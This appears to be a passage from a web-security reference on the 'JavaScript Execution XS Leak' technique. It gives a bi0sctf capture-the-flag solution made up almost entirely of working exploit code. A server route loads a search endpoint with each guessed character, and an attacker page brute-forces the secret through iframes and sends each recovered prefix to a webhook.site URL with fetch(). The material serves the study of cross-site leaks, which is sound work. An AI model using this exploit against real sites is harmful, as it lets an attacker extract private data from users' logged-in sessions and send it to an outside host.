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JavaScript Execution XS Leak

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// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
});
Main page that generates iframes to the previous /guessing page to test each possibility
<html>
<head>
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1
let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'
// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}
timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}
//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
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